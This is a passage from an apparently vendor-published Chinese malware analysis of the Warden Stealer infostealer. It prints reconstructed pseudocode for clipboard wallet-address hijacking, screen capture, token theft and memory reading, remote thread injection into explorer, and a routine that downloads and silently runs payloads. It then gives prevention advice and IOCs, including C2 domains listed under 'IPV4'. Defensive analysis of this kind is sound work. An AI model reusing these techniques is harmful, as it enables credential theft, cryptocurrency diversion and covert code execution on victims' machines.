collect_dir("Roblox\\LocalStorage");
}
剪贴板内容替换
剪贴板监控逻辑以约 500 毫秒为间隔检查剪贴板变化,并尝试识别EVM钱包地址或Base58字符串。若符合其识别条件且内容与预设地址不同,样本会将剪贴板内容替换为预设的钱包地址,从而完成加密货币钱包地址劫持。
/* 剪贴板钱包劫持*/
DWORD WINAPI clipper_thread(LPVOID)
{
ensure_wallet_table();
for (;;) {
Sleep(500);
if (GetClipboardSequenceNumber() == last) continue;
OpenClipboard(NULL);
p = GlobalLock(GetClipboardData(CF_UNICODETEXT));
int kind = 0;
if (len == 42 && p[0]=='0' && p[1]=='x' && all_hex(p+2)) kind = 1; /* EVM */
else if (all_base58(p)) kind = 2; /* TRX/SOL 基类 */
if (kind) {
attacker = wallet_table[kind];
if (stricmp(p, attacker) != 0) {
EmptyClipboard();
h = GlobalAlloc(GMEM_MOVEABLE, len*2);
memcpy(GlobalLock(h), attacker, len*2);
SetClipboardData(CF_UNICODETEXT, h);
}
}
GlobalUnlock(h); CloseClipboard();
}
}
屏幕截图
截图逻辑通过桌面设备上下文获取屏幕尺寸,并调用GDI相关接口生成全屏位图。结合其他数据采集与通信逻辑,该功能用于收集受害主机当前屏幕信息;
/* 截图 */
void screenshot_and_report(void)
{
SetProcessDPIAware();
hdc = GetDC(NULL);
w = GetSystemMetrics(SM_CXSCREEN); h = GetSystemMetrics(SM_CYSCREEN);
mem = CreateCompatibleDC(hdc); bmp = CreateCompatibleBitmap(hdc, w, h);
SelectObject(mem, bmp);
BitBlt(mem, 0,0, w,h, hdc, 0,0, SRCCOPY);
GetDIBits(mem, bmp, 0, h, bits, &bi, DIB_RGB_COLORS);
ReleaseDC(NULL, hdc); DeleteObject(bmp); DeleteDC(mem);
}
注入explorer
样本尝试定位 Shell_TrayWnd 窗口所属进程并获取进程令牌信息,随后复制令牌并以相应身份创建进程;同时枚举目标进程内存区域并读取符合条件的私有内存,还包含向远程进程分配和写入载荷、修改线程上下文以转移执行流的逻辑。
/* 令牌窃取 + 跨进程扫描 + 远程注入 */
void steal_shell_token_and_inject(void)
{
/* 定位 shell 进程并拿全权句柄 */
hShellWnd = GetShellWindow();
GetWindowThreadProcessId(hShellWnd, &pid);
NtQuerySystemInformation(SystemProcessInformation, buf, 0x10000, &len);
for (entry in walk(buf)) {
h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, pid);
QueryFullProcessImageNameW(h, 0, path, &n);
if (match(path)) hFull = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
}
/* 令牌链 */
OpenProcessToken(hFull, TOKEN_DUPLICATE|TOKEN_QUERY, &tok);
GetTokenInformation(tok, TokenUser/IntegrityLevel/SessionId, ...);
DuplicateTokenEx(tok, ...);
CreateProcessWithTokenW(tok, 0, payload, cmdline, ...); /* 以受害者身份起进程 */
/* 跨进程内存扫描(ABE/凭据内存取证用) */
for (addr = 0; VirtualQueryEx(hFull, addr, &mbi, 0x30); addr = mbi.Base + mbi.Size) {
if (mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE && (mbi.Protect & ~1) == 2)
ReadProcessMemory(hFull, addr, local, chunk, &got);
}
/* ④ 远程注入:解载荷 → 分配 → 写入 → 劫持线程上下文 */
hLib = LoadLibraryA(dll_name); pfn = GetProcAddress(hLib, proc);
snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
Thread32First/Thread32Next(snap, &te);
remote = VirtualAllocEx(hFull, 0, size, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hFull, remote, payload, size, &w);
WriteProcessMemory(hFull, remote + off, r13, n, &w);
hThread = OpenThread(THREAD_GET_CONTEXT|THREAD_SET_CONTEXT|THREAD_SUSPEND_RESUME, 0, tid);
SetThreadContext(hThread, &ctx); /* 改 RIP → 执行注入载荷 */
}
下载执行其他载荷
下载执行逻辑根据配置拼接包含时间戳等信息的URL,并通过HTTP(S)请求拉取后续文件。伪代码显示,下载内容会写入 %TEMP%,随后依据文件扩展名选择 msiexec.exe、cmd.exe 或 ShellExecuteExW 等方式启动,启动失败时最多重试 11 次。由于本次未获取有效C2配置,无法获取下载的完整URL。
/* 下载执行 */
void download_and_exec(void)
{
lazy_init_cfg_state();
resolve(GetTickCount|CloseHandle|ShellExecuteExW|WriteFile|CreateFileW);
tmp = getenv("TEMP");
url = build_url(cfg.base, cfg.item, GetTickCount());
scheme = url_starts("http://") ? HTTP : HTTPS_443;
parse_host_port_path(url, &host, &port, &path);
body = http_get(host, port, path); /* WinHttp 流程(GET) */
if (!body) return;
path_on_disk = join(tmp, filename_from(cfg)); /* 扩展名分类 */
h = CreateFileW(path_on_disk, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0x80);
if (WriteFile(h, body, len, &written, 0) && written == len) {
CloseHandle(h);
switch (ext) {
case ".msi": cmd = "msiexec.exe /i " + f + " /qn /norestart"; break;
case ".cmd": case ".bat": cmd = "cmd.exe /c " + f; break;
default: ShellExecuteExW(f);
}
for (int i = 0; i < 11; i++) if (launch(cmd)) break; /* 最多 11 次重试 */
}
}
总结
Warden Stealer窃密木马具备载荷解码与进程注入、主机环境识别、多类应用数据采集、剪贴板钱包地址替换及后续载荷下载执行等能力,形成了从信息收集、数据窃取到后续利用的攻击链,可造成账号凭据泄露、会话被盗用及加密资产转账对象被篡改等风险。结合公开情报,Warden Stealer的新版本还被报道开始关注 AI 编程工具及开发者凭据,反映出窃密目标正向开发环境和访问凭据扩展。相关企业及机构应加强终端行为监控和敏感凭据保护,重点排查异常进程注入、应用数据目录访问、剪贴板异常修改及可疑外联行为。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑文件和邮件,尤其警惕带有密码保护压缩包附件的钓鱼邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知与
EDR等行为检测产品。网关安全产品可利用威胁情报追溯攻击行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的。同时,
EDR产品可通过进程行为、内存注入、网络连接等多维度行为规则进行检测。 -
安装有效的杀毒软件。
杀毒软件可拦截恶意文档和木马病毒。如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护终端安全。
瑞星目前已可检出此次攻击事件的相关样本。

-
通用安全建议:及时修补系统补丁和重要软件补丁。
及时修补系统补丁和重要软件补丁是防御各类攻击的基础措施。
沦陷信标(IOC)
-
MD5
C6BB7C751E64FC9B8E755D56102CF946 9FB6AAB11A0B56291E86560E880EF9BC -
IPV4
systemformating.rest notguilty.info -
瑞星病毒名
Stealer.Warden/x64!1.149BA Trojan.ShellCodeRunner/x64!1.149AA